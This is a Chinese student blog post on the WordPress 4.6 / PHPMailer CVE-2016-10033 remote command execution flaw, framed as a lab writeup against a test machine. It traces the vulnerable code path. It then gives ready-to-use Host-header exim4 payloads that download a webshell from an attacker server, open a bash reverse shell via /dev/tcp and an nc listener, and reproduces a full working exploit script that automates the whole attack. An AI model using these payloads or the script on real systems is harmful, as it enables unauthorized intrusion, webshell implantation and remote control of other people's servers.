timertask run函数未执行_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞...

fd8eb1dc21bc1fd7cb9a5d1fd1872e0d.png

学生会私房菜

学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题。

本期文档内容为:《Wordpress 4.6 任意命令执行漏洞》

aff03f1eb74eac8628ffdbcf5beb3b68.gif

作者介绍:ATao

闽江学院信息安全专业学生,目前在国科学院福州基地学习安全课程,同时在学生会安全团队进行安全攻防演练,本次主要分享平时在安全中可能会用的上的一些内容。

0x00简介

WordPress是使用PHP语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。看的很多打CTF的大佬也是用这个平台。但是WordPress(版本 <= 4.6)存在任意命令执行的漏洞,这个问题还是PHPMailer的问题。PHPMailer是一个基于PHP语言的邮件发送组件,被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。PHPMailer(版本 < 5.2.18)存在编号为CVE-2016-10033的远程命令执行漏洞,而这里就是WordPress使用PHPMailer组件向用户发送邮件,当攻击者通过构造恶意邮箱地址时,可以写入任意文件,造成远程命令执行的危害。

0x01影响范围

WordPress <= 4.7.1

PHPMailer < 5.2.18

0x02漏洞分析

CVE-2016-10033漏洞是mail函数的第五个参数,传命令参数的部分没有进行转义,导致造成了RCE。因为mail函数是调用系统的sendmail命令进行邮件发送,sendmail的参数-X可以将日志写入指定文件。这是一个跟2012年的Roundcube的RCE类似的漏洞。具体可以查看:https:// paper.seebug.org /161/#1_1

WordPress命令执行漏洞页面:/wp-login.php?action=lostpassword

此处是管理员重置密码页面,WordPress使用PHPMailer组件进行重置密码邮件的发送时,如果PHPMailer版本<5.2.18则存在类似CVE-2016-10033的漏洞,造成RCE。

8443eac027630affe9d9a4916417701a.png

在class-phpmailer.php中审计代码,发现了mail函数,去找一下它第五个参数是从哪里传入的。

53aa1c052e9c5deb8fb8bc3c7e3eec09.png

在后面发现是由$this->Sender传给$params后,追踪一下$this->Send

5d6902d3231410b0b66ec454591490fd.png

查看了$this->Sender的引用后,$address可以传给$this->Sender,追踪一下谁调用了setFrom函数

62f245e9099cbb560e7784669fa8d975.png

在pluggable.php中存在这个调用,$from_email则是下一个要找的参数

25277d5d2e18014509cb9a3d7e6f5845.png

往上翻一点就可以看到了,是由$_SERVER['SERVER_NAME']的内容传给$from_email。这时候,就知道了$_SERVER['SERVER_NAME'] -> $from_email -> $this->Sender -> $params。这里注意到了strtolower()函数,它可以将把所有字符转换为小写,$sitename通过传入的SERVER_NAME参数获取主机名,主机名为HTTP请求报文中的host值,但是这里并不能使用大写字母的参数,导致了CVE-2016-10033漏洞的用法是不行的(这里的想法是自己想的,不确定是不是正确的),需要另外找一个方法。

9eef52b61b3fb5fece8f2fc696692dbf.png

在这里,知道了它是使用sendmail来发送邮件的

aa0b3b878b9c142bb35dbc47c3582865.png

查看了一下liunx中/usr/sbin/sendmail,发现了它是通过exim4执行的

1097ac6a48994614984911d413960430.png

查找了exim4的用法,知道了exim4中有-be参数可以用于读取变量的数据,且$run可以调用系统命令,调用的命令需要知道命令的地址(通过”which order”来查看命令的位置)

这时候我们能构造的payload为:target(tmp1 -be ${run{/usr/bin/touch /tmp/ceshi.txt}} tmp2),尝试一下能否创建一个文件来。

但是,wordpress和PHPMailer会防止攻击者注入空字符(空格或者TAB)到sendmail命令中;并且如果host字段中出现了’/’斜杆的话,服务器会拒绝请求。

这个问题还是可以通过exim4解决,因为它支持一些函数来执行命令

114f038013269bbdb4192e03100d52e7.png

这里$tod_log本来是用来查看当前时间的,但是通过substr函数我们能取得其中的空格

c659466f23d48107e7ab74919d7d89b2.png

$spool_directory本来是查看命令的地址的,但是我们一样能通过substr函数取得’/’斜杆

空格----->${substr{10}{1}{$tod_log}}

/----->${substr{0}{1}{$spool_directory}}

最后的payload为

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}manning.test}} tmp2)

82bd423144008a90bf02faf039e8ad7f.png

4499c1a1276af1248ad51edd9192ea04.png

通过上面两张图片,我们发送了payload后返回的状态码为302,靶机接收了payload并且没有报错,我们在查看一下靶机的/tmp目录下,通过两次查看确定了我们可以通过这个方法来保存文件。

总结一下一些需要注意的地方:

1、不能出现大写字母,因为大写字母会被转换成小写

2、使用命令时需要使用命令的绝对路径

3、POST请求中的user_login参数使用的用户名必须是存在的

4、重置密码的邮件是由exim4来发送的

5、执行的命令不能包含大量特殊字符

满足以上条件的话,就可以随意更改payload来执行我们想要的命令了

63efb1281f4eab6175598d6ca574a136.png

这里贴出ExploitBox在使用payload时参数的储存格式,详细地址:https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

0x03漏洞利用

写入一句话木马

利用的思路是使用wget命令下载远程文件。

在一台win7上开启web服务,放上一句话木马的脚本

Payload

target(tmp1 -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 10.10.10.132/1.txt}} tmp2)

替换空格和斜杆后payload

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}10.10.10.132${substr{0}{1}{$spool_directory}}1.txt}} tmp2)

2db7c28f93644763c0cd3a2446d90abb.png

最后使用中国蚁剑连接就可以了

反弹shell

在web服务上放好脚本,内容为bash -i >& /dev/tcp/10.10.10.128/7001 0>&1,这里10.10.10.128为攻击者的IP地址,7001为监听的端口

Payload

target(tmp1 -be ${run{/usr/bin/wget --output-document /tmp/shell 10.10.10.132/2.txt}} tmp2)

替换空格和斜杆后payload

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}10.10.10.132${substr{0}{1}{$spool_directory}}2.txt}} tmp2)

发送完payload后,攻击者打开nc -lvp 7001进行监听,再次发送payload使shell运行

Payload

target(tmp1 -be ${run{/bin/bash /tmp/shell}} tmp2)

替换空格和斜杆后payload

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} tmp2)

ce9ca046d51e05136b8ba41e213f1892.png

反弹shell成功

0x04POC

#!/bin/bash

#

#      __                     __   __  __           __

#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________

#    / /   / _ / __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ / ___/ ___/

#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )

#  /_____/___/__, /__,_/_/  /_/ /_/__,_/___/_/|_|___/_/  /____/

#            /____/

#

#

# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit

# CVE-2016-10033

#

# wordpress-rce-exploit.sh (ver. 1.0)

#

#

# Discovered and coded by

#

# Dawid Golunski (@dawid_golunski)

# https://legalhackers.com

#

# ExploitBox project:

# https://ExploitBox.io

#

# Full advisory URL:

# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

#

# Exploit src URL:

# https://exploitbox.io/exploit/wordpress-rce-exploit.sh

#

#

# Tested on WordPress 4.6:

# https://github.com/WordPress/WordPress/archive/4.6.zip

#

# Usage:

# ./wordpress-rce-exploit.sh target-wordpress-url

#

#

# Disclaimer:

# For testing purposes only

#

#

# -----------------------------------------------------------------

#

# Interested in vulns/exploitation?

#

#

#                        .;lc'

#                    .,cdkkOOOko;.

#                 .,lxxkkkkOOOO000Ol'

#             .':oxxxxxkkkkOOOO0000KK0x:'

#          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.

#       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.

#      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.

#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:

#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:

#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:

#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:

#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:

#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:

#     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:

#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:

#     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:

#     .dxxxxxdl;. .,               .. .;cdxxxxxx:

#     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:

#      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.

#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.

#             .':oxxxxxxxxx.ckkkkkkkkxl,.

#                 .,cdxxxxx.ckkkkkxc.

#                    .':odx.ckxl,.

#                        .,.'.

#

# https://ExploitBox.io

#

# https://twitter.com/Exploit_Box

#

# -----------------------------------------------------------------

rev_host="10.10.10.128" #修改为目标IP

function prep_host_header() {

     cmd="$1"

     rce_cmd="${run{$cmd}}";

     # replace / with ${substr{0}{1}{$spool_directory}}

     #sed 's^/^${substr{0}{1}{$spool_directory}}^g'

     rce_cmd="`echo $rce_cmd | sed 's^/^${substr{0}{1}{$spool_directory}}^g'`"

     # replace ' ' (space) with

     #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'

     rce_cmd="`echo $rce_cmd | sed 's^ ^${substr{10}{1}{$tod_log}}^g'`"

     #return "target(any -froot@localhost -be $rce_cmd null)"

     host_header="target(any -froot@localhost -be $rce_cmd null)"

     return 0

}

#cat exploitbox.ans

intro="

DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r

bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f

G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c

G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg

IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f

IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f

X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6

b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb

NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N

TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1

QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz

NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g

G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54

eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb

WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO

TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg

ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb

MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD

G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob

WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz

NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb

MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f

X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4

bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"

intro2="

ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09

fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb

MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg

ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE

aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09

fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg

ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh

bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt

ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt

ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp

bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1

cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="

echo "$intro"  | base64 -d

echo "$intro2" | base64 -d

if [ "$#" -ne 1 ]; then

echo -e "Usage: $0 target-wordpress-url "

exit 1

fi

target="$1"

echo -ne "e[91m[*][0m"

read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice

echo

if [ "$choice" == "y" ]; then

echo -e "e[92m[*][0m Guess I can't argue with that... Let's get started... "

echo -e "e[92m[+][0m Connected to the target"

# Serve payload/bash script on :80

RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0&1) &"

echo "$RCE_exec_cmd" > rce.txt

python -mSimpleHTTPServer 80 2>/dev/null >&2 &

hpid=$!

# Save payload on the target in /tmp/rce

cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"

prep_host_header "$cmd"

curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword#修改user_login为存在的user

echo -e " e[92m[+]e[0m Payload sent successfully"

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce

cmd="/bin/bash /tmp/rce"

prep_host_header "$cmd"

curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &

echo -e " e[92m[+][0m Payload executed!"

echo -e " e[92m[*][0m Waiting for the target to send us a e[94mreverse shelle[0m... "

nc -vv -l -p 1337

echo

else

echo -e "e[92m[+][0m Responsible choice ;) Exiting. "

exit 0

fi

echo "Exiting..."

exit 0

POC执行的命令:./exp.sh http://10.10.10.130:8000,10.10.10.130:8000为目标的IP地址

分析一下这个POC

69ee7de9b21ae344117ce2a860e50ec8.png

上述部分为构造payload的函数,把我们要执行的命令传递进来按照漏洞规则写入host中

6719a1df968849910af77de3eb2f6949.png

上述部分为判断是否输入目标地址和是否确认获取目标地址的反弹shell

0d54db42cab19278b0ac9e9454a614c0.png

上述部分是把靶机请求连接的命令生成rce.txt文件保存在当前目录中,同时使用python把当前目录临时发布到http网络中,使得可以远程访问当前目录中的文件

a6325876d619429a31ba141cde028695.png

上述部分为漏洞利用的反弹shell,通过两条命令完成

cb93e0d3763a723020bb5a7cc875f21f.png

上述部分为在攻击机上执行nc监听命令,监听并连接靶机发送过来的连接请求,获取靶机的shell

a05b32153b811ec124dd0944ab6778eb.png

上述的rev_host修改为攻击者的IP地址

66fea2b936b4a903c428188c6da5bf3a.png

ce2b766f6aa17e5c048f81912fd55a98.png ce2b766f6aa17e5c048f81912fd55a98.png ce2b766f6aa17e5c048f81912fd55a98.png ce2b766f6aa17e5c048f81912fd55a98.png

d1a135ac4c49f30ff1585b08fee709f0.png国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。

如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!

学生会信箱:

student@goktech.cn

【往期精彩内容】

国科学院学生会的“小确幸”瓶子,你能涂满几个?

学生会私房菜【20200603期】:交换机交换机工作原理之Mux Vlan

学生会私房菜【202000522期】:交换机工作原理之接口类型(二)

聚资讯,融技术,访精英▏【学生会信箱】开通啦!

讲师预备生唐欢——加入国科遇见更优秀的自己

学生会私房菜【20200324期】:PPP链路建立过程详解

王少怀

国科学院(厦门基地)学生会指导老师

510feff0f6590c0e78f734eb26ffe1e7.png

王阳

国科学院(泉州基地)学生会指导老师

cb314aa6080d9460a37a3ba97c096241.png

王建

国科学院(福州基地)学生会指导老师

c8d0556ad1ffa698c9ba41a36f850385.png

曹博文  

国科学院(成都基地)学生会指导老师

647b7ed960d214a21f6650ee602daeaa.png

09aa7cfedffdda8bb72def1b9eb670ab.png

86e66f2aca91bde3e5f99d071d75b4b3.png dceb8c6a3a14c8b480c7604a0c4928ec.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值